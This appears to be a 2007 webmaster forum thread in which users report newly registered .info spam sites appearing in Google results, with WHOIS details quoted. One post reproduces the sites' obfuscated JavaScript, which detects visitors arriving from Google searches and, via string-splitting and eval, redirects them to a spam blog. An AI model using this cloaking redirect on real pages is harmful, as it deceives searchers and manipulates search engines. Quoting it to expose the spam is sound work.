New subdomain spam sites, sites disappeared

Have another thread about my site disappearing overnight today and now I have some more information to why it might be this way.
I see tons of different new sites with a javascript redirect in their pages where they check to see if it is Google or not. It seems that they have targeted a blog site somehow so when you click on the link in Google you redirects to a blog site.
This search shows just a few of the sites with the info domain and a date of 04/05/07 or 04/06/2007 so they are newly indexed by Google.
This is their Registrar info and the domain was created 2 days ago!!
Domain ID17129242-LRMS
Domain Name:YOLEKRAC.INFO
Created On:05-Apr-2007 05:54:55 UTC
Last Updated On:05-Apr-2007 05:54:59 UTC
Expiration Date:05-Apr-2008 05:54:55 UTC
Sponsoring Registrarirect Information Pvt. Ltd. d/b/a PublicDomainRegistry.com (R159-LRMS)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant IDI_5960474
Registrant Name:wnvbial fgjxyjo townibyq
Registrant Organizationwmzu jnrwrmbr
Registrant Street1:rijniwr nrmhbu
Registrant Street2:
Registrant Street3:
Registrant City:ndwczua pvmhmwrv
Registrant State/Province:0
Registrant Postal Code:54786
Registrant Country:CN
Registrant Phone:+314.7605892

Additional info:
If you, for example, type in this address in your browser: kaipeiwr.oeddvekr.info/music_posters.html then you get a service unavailable page. If you click on a search result in google you are redirected to a blog. They use a javascript and it looks like this:
if(top.document.referrer.indexOf("google") != -1 && top.document.referrer.indexOf("search") != -1 && top.document.referrer.indexOf("=") != -1 && top.document.referrer.indexOf("?") != -1)
{
var pizden=document.referrer;
var reg=/.+google.+search.+q=([\w\d\+%]+)[\&]*.*/;
var arr=reg.exec(pizden);
var upis1='http://aboutev';
var upis2='erythingblogz';
var upis3='.com/?q=';
var piska00="win";
var piska01="dow.";
var piska02="loca";
var piska03="tion='";
var piska1="'";
eval(piska00+piska01+piska02+piska03+upis1+upis2+upis3+arr[1]+piska1);
}

More additions:

If you search for this you will find about 336,000 pages with different info domains. Some of them seems ok but most of them are spam sites with a index date as of a couple of days ago and with a registration date as of a couple of days ago.

 

i hate this . this search is full of spam

 

What do you want to tell us ?

 

Morrn, morrn.....

Once again Google has been infiltrated by spam sites and somehow the sites was registered a couple of days ago, and they are already in the index......

How'd you like that?

 

I see. But this happens every day, getting them indexed is the easiest part.

But its interesting, do you have any solution or way to prevent it other than reporting to Google ?

 

Sucks that people do this and destroy the integrity of the results so much.